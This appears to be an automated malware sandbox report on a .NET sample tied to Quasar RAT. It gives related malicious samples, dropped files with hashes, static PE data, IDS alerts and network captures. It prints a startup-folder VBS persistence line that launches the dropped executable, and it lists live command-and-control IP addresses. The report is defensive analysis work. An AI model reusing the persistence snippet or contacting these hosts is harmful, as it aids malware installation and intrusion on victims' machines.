                                                                          Cryptor.exeGet hashmaliciousLuca Stealer, Rusty StealerBrowse
                                                                          • /?output=json

                                                                          Domains

                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                          ipwho.isZam#U00f3wienie 89118 _ Metal-Constructions.pdf.com.exeGet hashmaliciousQuasarBrowse
                                                                          • 195.201.57.90
                                                                          Order88983273293729387293828PDF.exeGet hashmaliciousQuasarBrowse
                                                                          • 195.201.57.90
                                                                          1Eo0gOdDsV.exeGet hashmaliciousQuasarBrowse
                                                                          • 195.201.57.90
                                                                          https://2storageaccounterm67.z13.web.core.windows.net/Win08Ay0Er08d8d77/index.html#Get hashmaliciousTechSupportScamBrowse
                                                                          • 195.201.57.90
                                                                          https://tronblkma8sus7.z13.web.core.windows.net/?click_id=2isqs9oomm3gdtdt2&tid=903&subid=googlesapis.com&ref=googlesapis.com&922%5DGet hashmaliciousTechSupportScamBrowse
                                                                          • 195.201.57.90
                                                                          Exploit Detector LIST (2).batGet hashmaliciousUnknownBrowse
                                                                          • 15.204.213.5
                                                                          1.cmdGet hashmaliciousUnknownBrowse
                                                                          • 195.201.57.90
                                                                          Exploit Detector.batGet hashmaliciousUnknownBrowse
                                                                          • 195.201.57.90
                                                                          Exploit Detector LIST (2).batGet hashmaliciousUnknownBrowse
                                                                          • 195.201.57.90
                                                                          fqr76a(1).batGet hashmaliciousUnknownBrowse
                                                                          • 108.181.98.179
                                                                          bg.microsoft.map.fastly.netADZP 20 Complex.exeGet hashmaliciousBabadeda, WiperBrowse
                                                                          • 199.232.210.172
                                                                          Statement_of_account.vbsGet hashmaliciousFormBook, GuLoaderBrowse
                                                                          • 199.232.214.172
                                                                          DRP130636747.pdfGet hashmaliciousUnknownBrowse
                                                                          • 199.232.214.172
                                                                          gP5rh6fa0S.exeGet hashmaliciousCredGrabber, Meduza StealerBrowse
                                                                          • 199.232.214.172
                                                                          DRP12938938166_PDF.jsGet hashmaliciousUnknownBrowse
                                                                          • 199.232.214.172
                                                                          Discord_updater_rCURRENT.exeGet hashmaliciousUnknownBrowse
                                                                          • 199.232.210.172
                                                                          https://deina.kinsta.cloud/wp-content/upgrade/ddprojetGet hashmaliciousUnknownBrowse
                                                                          • 199.232.214.172
                                                                          emes.batGet hashmaliciousUnknownBrowse
                                                                          • 199.232.210.172
                                                                          KKXT7bY8bG.exeGet hashmaliciousUnknownBrowse
                                                                          • 199.232.210.172
                                                                          new.batGet hashmaliciousUnknownBrowse
                                                                          • 199.232.214.172

                                                                          ASNs

                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                          ASN-QUADRANET-GLOBALUSseemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor.htaGet hashmaliciousCobalt Strike, HTMLPhisher, LokibotBrowse
                                                                          • 66.63.187.231
                                                                          PO-000041492.xlsGet hashmaliciousHTMLPhisher, LokibotBrowse
                                                                          • 66.63.187.231
                                                                          RFQ541634_A_URGENT_QUOTATION_SHENLE.exeGet hashmaliciousGuLoaderBrowse
                                                                          • 64.188.27.210
                                                                          Order88983273293729387293828PDF.exeGet hashmaliciousQuasarBrowse
                                                                          • 72.11.156.80
                                                                          .main.elfGet hashmaliciousXmrigBrowse
                                                                          • 66.63.187.200
                                                                          mips.elfGet hashmaliciousMiraiBrowse
                                                                          • 104.223.82.201
                                                                          Trykblgens.exeGet hashmaliciousGuLoaderBrowse
                                                                          • 172.93.187.72
                                                                          QUOTATION #46789RFQ_SUPLM_NOV24_SALEH_CONSTRUCTIONS_LLC_PDF.exeGet hashmaliciousRemcos, DarkTortillaBrowse
                                                                          • 66.63.163.134
                                                                          COTIZACIONSyCONSULTA#46789NOV24.bat.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                          • 204.44.127.85
                                                                          RFQ448903423_MAT.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                          • 23.226.128.68
                                                                          HETZNER-ASDEbPRQRIfbbq.exeGet hashmaliciousUnknownBrowse
                                                                          • 95.216.12.30
                                                                          bPRQRIfbbq.exeGet hashmaliciousUnknownBrowse
                                                                          • 168.119.160.252
                                                                          AD6dpKQm7n.exeGet hashmaliciousUnknownBrowse
                                                                          • 144.76.175.205
                                                                          AD6dpKQm7n.exeGet hashmaliciousUnknownBrowse
                                                                          • 195.201.9.37
                                                                          ickTGSF56D.exeGet hashmaliciousUnknownBrowse
                                                                          • 185.229.90.81
                                                                          ickTGSF56D.exeGet hashmaliciousUnknownBrowse
                                                                          • 91.107.171.171
                                                                          Zam#U00f3wienie 89118 _ Metal-Constructions.pdf.com.exeGet hashmaliciousQuasarBrowse
                                                                          • 195.201.57.90
                                                                          Unlock_Tool_v2.6.5.exeGet hashmaliciousStealc, VidarBrowse
                                                                          • 116.203.0.159
                                                                          Order88983273293729387293828PDF.exeGet hashmaliciousQuasarBrowse
                                                                          • 195.201.57.90
                                                                          file.exeGet hashmaliciousPureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, StealcBrowse
                                                                          • 176.9.162.205
                                                                          IPHOSTGRIpDomainGROrder88983273293729387293828PDF.exeGet hashmaliciousQuasarBrowse
                                                                          • 185.78.221.73
                                                                          Order88983273293729387293828PDF.exeGet hashmaliciousQuasarBrowse
                                                                          • 185.78.221.73
                                                                          e-dekont (72).pdf(#U007e56 KB).exeGet hashmaliciousSnake KeyloggerBrowse
                                                                          • 185.78.221.73
                                                                          DHL Parcel-CBM is 3.1- Total weight is 435kgs.==WOE1910053_____________________________.exeGet hashmaliciousDarkCloudBrowse
                                                                          • 185.78.221.73
                                                                          RFQ 4748.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                          • 185.78.221.73
                                                                          PurchOrd_75238572.pdf.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                          • 185.78.221.73
                                                                          433.docx.exeGet hashmaliciousAgentTesla, DarkTortillaBrowse
                                                                          • 185.78.220.138
                                                                          https://ktima-edem.gr/gbzuv/?09812432Get hashmaliciousUnknownBrowse
                                                                          • 93.174.123.195
                                                                          https://andronikidis.gr/3nxw1/?31759481Get hashmaliciousUnknownBrowse
                                                                          • 93.174.123.207
                                                                          Prices_Required.exeGet hashmaliciousDarkCloudBrowse
                                                                          • 185.78.220.151

                                                                          JA3 Fingerprints

                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                          3b5074b1b5d032e5620f69f9f700ff0efile.exeGet hashmaliciousCryptbotBrowse
                                                                          • 185.78.221.73
                                                                          • 195.201.57.90
                                                                          INQUIRY_pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                          • 185.78.221.73
                                                                          • 195.201.57.90
                                                                          bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htaGet hashmaliciousCobalt Strike, HTMLPhisher, SmokeLoaderBrowse
                                                                          • 185.78.221.73
                                                                          • 195.201.57.90
                                                                          P.O 423737.exeGet hashmaliciousMassLogger RATBrowse
                                                                          • 185.78.221.73
                                                                          • 195.201.57.90
                                                                          Fluor RFQ1475#U00b7pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                          • 185.78.221.73
                                                                          • 195.201.57.90
                                                                          Statement_of_account.vbsGet hashmaliciousFormBook, GuLoaderBrowse
                                                                          • 185.78.221.73
                                                                          • 195.201.57.90
                                                                          QUOTATION_NOVQTRA071244PDF.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                          • 185.78.221.73
                                                                          • 195.201.57.90
                                                                          NoteID [4962398] _Secure_Document_Mrettinger-46568.docxGet hashmaliciousHTMLPhisherBrowse
                                                                          • 185.78.221.73
                                                                          • 195.201.57.90
                                                                          DRP130636747.pdfGet hashmaliciousUnknownBrowse
                                                                          • 185.78.221.73
                                                                          • 195.201.57.90
                                                                          seethebestthingswhichhappenedentiretimewithgreattimebacktohere.htaGet hashmaliciousCobalt Strike, Remcos, HTMLPhisherBrowse
                                                                          • 185.78.221.73
                                                                          • 195.201.57.90

                                                                          Dropped Files

                                                                          ⊘No context

                                                                          Created / dropped Files

                                                                          C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

                                                                          Download File
                                                                          Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                                                          File Type:Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
                                                                          Category:dropped
                                                                          Size (bytes):71954
                                                                          Entropy (8bit):7.996617769952133
                                                                          Encrypted:true
                                                                          SSDEEP:1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
                                                                          MD5:49AEBF8CBD62D92AC215B2923FB1B9F5
                                                                          SHA1:1723BE06719828DDA65AD804298D0431F6AFF976
                                                                          SHA-256:B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
                                                                          SHA-512:BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
                                                                          Malicious:false
                                                                          Reputation:high, very likely benign file
                                                                          Preview:MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..*Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=*....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.|.c.&>?..^t. ..;..X.d.E.0G....[Q.*,*......#.Dp..L.o|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

                                                                          C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                          Download File
                                                                          Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):328
                                                                          Entropy (8bit):3.2401865105070087
                                                                          Encrypted:false
                                                                          SSDEEP:6:kKfT9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:XqDImsLNkPlE99SNxAhUe/3
                                                                          MD5:0100C3A4763137B9EC9F1B8EBD08D643
                                                                          SHA1:134213362333D74B661FB38CF7B92DA4D461F2AF
                                                                          SHA-256:94B5BF3296C6FA8EA29911577BCE63768F2258744F0D2D55D7F12B1FDED6C2E0
                                                                          SHA-512:E8E0977EA6DEA5BEA87BDFB12AE9E864D2CE90026FB7D7646423D678B068B8465BA0BE404CA616D2633451AB9C02C2D197B0E1B338895664E5E7C95B015ADA0E
                                                                          Malicious:false
                                                                          Reputation:low
                                                                          Preview:p...... ........d....9..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

                                                                          C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

                                                                          Download File
                                                                          Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                                                          File Type:ASCII text, with CRLF line terminators
                                                                          Category:dropped
                                                                          Size (bytes):1119
                                                                          Entropy (8bit):5.345080863654519
                                                                          Encrypted:false
                                                                          SSDEEP:24:ML9E4KiE4Kx1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MxHKiHKx1qHiYHKh3oPtHo6hAHKze0Hj
                                                                          MD5:E6726BABA80C39624BADA32F0CCE6B54
                                                                          SHA1:4C769FA8A02DBE33AA9084040A9E6C70230334FA
                                                                          SHA-256:6A9F9C628B47AFC2A34A71826450A12D9293709BF977E72C04102F9DDD3705E0
                                                                          SHA-512:BBCCE0FCC59D29116253E71ECC786B8E3BA19D9A3124F36FEC9963C7F47016F145C76C18C5AD0FB6186ADEA69652BA99F29EF5AB5E71EFDD7EC07A82BB366960
                                                                          Malicious:false
                                                                          Reputation:moderate, very likely benign file
                                                                          Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

                                                                          C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbs

                                                                          Download File
                                                                          Process:C:\Users\user\Desktop\________.exe
                                                                          File Type:ASCII text, with no line terminators
                                                                          Category:dropped
                                                                          Size (bytes):85
                                                                          Entropy (8bit):4.726651895231835
                                                                          Encrypted:false
                                                                          SSDEEP:3:FER/n0eFHHot+kiEaKC5rA0dAnHn:FER/lFHIwknaZ5rAkO
                                                                          MD5:CB1DBE2197E6A6A460E2A6E37DCC801B
                                                                          SHA1:0A99E2FB360C3933FE2636825E4649E020E44FC0
                                                                          SHA-256:012686254005FAE54AE7D62265E8BDED8E6B7C047BFCF2AEE67861CC8BB4F5AB
                                                                          SHA-512:8E812E9AEEEC598BDE260C807DB5D60638BC6DE52C9386F3485D345B1D47943A74AEEF54A96D6C9986A2B32360C030F961050D557F083AE87A33002A44DAAA04
                                                                          Malicious:true
                                                                          Reputation:low
                                                                          Preview:CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\StackTrace.exe"""

                                                                          C:\Users\user\AppData\Roaming\StackTrace.exe

                                                                          Download File
                                                                          Process:C:\Users\user\Desktop\________.exe
                                                                          File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                          Category:dropped
                                                                          Size (bytes):1485312
                                                                          Entropy (8bit):5.907470456751319
                                                                          Encrypted:false
                                                                          SSDEEP:12288:2fcOokxZ4FK9VlPprK7w5NljuDvdLwLEcXq8dxSaDygxpy3nZOJcllvB:2P8FMhQiXhxkKcOUv
                                                                          MD5:C28EF8671A7F140F9385AB177E38844B
                                                                          SHA1:4CC35C23F2CE252413249ECD2EA47967FC00D5A4
                                                                          SHA-256:FFA58EBC168E4A19C311097B97645A5D8801DB2326F4E8784B634C3E2E2DE991
                                                                          SHA-512:6CE012BF3C1024EEF4A47F54C86E3819175816D6C39BFA2216D1D522FC9612637473D8C6BE2F4F203F52FC38C2BF887ED6E748FF5C18EE960FB0D82014ADE82A
                                                                          Malicious:true
                                                                          Antivirus:
                                                                          • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                          • Antivirus: ReversingLabs, Detection: 21%
                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....c;g................................. ........@.. ....................................`.................................@...K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................p.......H.......(...................h............................................0..........(~...*.*.s....(....*.0../.........(....}.......}......|......(...+..|....(....*..(....*..0...........{......9;....(....o.......(....:?.....%.}......}.....|.......(...+.k....{......|............%.}......(....(....s....(....o..............}.....|.....(............}.....|.....(....*........~.......6.|.....(....*...0...........s.......s.... ."..(r...s....(....o.......&.....,F..i...... .#..(r......

                                                                          C:\Users\user\AppData\Roaming\StackTrace.exe:Zone.Identifier

                                                                          Download File
                                                                          Process:C:\Users\user\Desktop\________.exe
                                                                          File Type:ASCII text, with CRLF line terminators
                                                                          Category:modified
                                                                          Size (bytes):26
                                                                          Entropy (8bit):3.95006375643621
                                                                          Encrypted:false
                                                                          SSDEEP:3:ggPYV:rPYV
                                                                          MD5:187F488E27DB4AF347237FE461A079AD
                                                                          SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                          SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                          SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                          Malicious:true
                                                                          Preview:[ZoneTransfer]....ZoneId=0

                                                                          Static File Info

                                                                          General

                                                                          File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                          Entropy (8bit):5.907470456751319
                                                                          TrID:
                                                                          • Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                                                                          • Win32 Executable (generic) a (10002005/4) 49.78%
                                                                          • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                          • Generic Win/DOS Executable (2004/3) 0.01%
                                                                          • DOS Executable Generic (2002/1) 0.01%
                                                                          File name:________.exe
                                                                          File size:1'485'312 bytes
                                                                          MD5:c28ef8671a7f140f9385ab177e38844b
                                                                          SHA1:4cc35c23f2ce252413249ecd2ea47967fc00d5a4
                                                                          SHA256:ffa58ebc168e4a19c311097b97645a5d8801db2326f4e8784b634c3e2e2de991
                                                                          SHA512:6ce012bf3c1024eef4a47f54c86e3819175816d6c39bfa2216d1d522fc9612637473d8c6be2f4f203f52fc38c2bf887ed6e748ff5c18ee960fb0d82014ade82a
                                                                          SSDEEP:12288:2fcOokxZ4FK9VlPprK7w5NljuDvdLwLEcXq8dxSaDygxpy3nZOJcllvB:2P8FMhQiXhxkKcOUv
                                                                          TLSH:D1653B4913D8A635D5BE8B376EF1485087B3B543D7E1E74A5EC8B8E98883768784C323
                                                                          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....c;g................................. ........@.. ....................................`................................

                                                                          File Icon

                                                                          Icon Hash:90cececece8e8eb0

                                                                          Static PE Info

                                                                          General

                                                                          Entrypoint:0x56be8e
                                                                          Entrypoint Section:.text
                                                                          Digitally signed:false
                                                                          Imagebase:0x400000
                                                                          Subsystem:windows gui
                                                                          Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                          DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                          Time Stamp:0x673B63A3 [Mon Nov 18 15:56:19 2024 UTC]
                                                                          TLS Callbacks:
                                                                          CLR (.Net) Version:
                                                                          OS Version Major:4
                                                                          OS Version Minor:0
                                                                          File Version Major:4
                                                                          File Version Minor:0
                                                                          Subsystem Version Major:4
                                                                          Subsystem Version Minor:0
                                                                          Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                          Entrypoint Preview

                                                                          Instruction
                                                                          jmp dword ptr [00402000h]
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al
                                                                          add byte ptr [eax], al

                                                                          Data Directories

                                                                          NameVirtual AddressVirtual Size Is in Section
                                                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                          IMAGE_DIRECTORY_ENTRY_IMPORT0x16be400x4b.text
                                                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0x16c0000x600.rsrc
                                                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0x16e0000xc.reloc
                                                                          IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                          IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                          Sections

                                                                          NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                          .text0x20000x169e940x16a000e8d3b1dac63c635cc40bd2fb311400eeFalse0.33403697988604975data5.910402362876349IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                          .rsrc0x16c0000x6000x600eb7779aaa65508ade9ec1f4c851be8f6False0.4147135416666667data4.041664846708064IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                          .reloc0x16e0000xc0x2007d67147df4f959c0805e92ae757d5d4cFalse0.044921875data0.10191042566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                          Resources

                                                                          NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                          RT_VERSION0x16c0a00x2fcdata0.43848167539267013
                                                                          RT_MANIFEST0x16c39c0x1eaXML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators0.5489795918367347

                                                                          Imports

                                                                          DLLImport
                                                                          mscoree.dll_CorExeMain

                                                                          Network Behavior

                                                                          Suricata IDS Alerts

                                                                          TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                          2024-11-18T19:24:06.301641+01002027619ET MALWARE Observed Malicious SSL Cert (Quasar CnC)169.174.98.1136542192.168.2.449731TCP
                                                                          2024-11-18T19:24:06.301641+01002035595ET MALWARE Generic AsyncRAT Style SSL Cert169.174.98.1136542192.168.2.449731TCP

                                                                          Network Port Distribution

                                                                          TCP Packets

                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                          Nov 18, 2024 19:23:59.769618034 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:23:59.769712925 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:23:59.769820929 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:23:59.789685011 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:23:59.789731979 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:00.735811949 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:00.736089945 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:00.742506981 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:00.742537022 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:00.742954016 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:00.797667027 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:00.823695898 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:00.871331930 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:01.151470900 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:01.151540995 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:01.151561022 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:01.151578903 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:01.151611090 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:01.151664972 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:01.151695967 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:01.203924894 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:01.269478083 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:01.269506931 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:01.269578934 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:01.269687891 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:01.269687891 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:01.269687891 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:01.318465948 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:01.318495035 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:01.318650007 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:01.318650007 CET49730443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:01.319627047 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:01.319657087 CET44349730185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:01.319704056 CET49730443192.168.2.4185.78.221.73
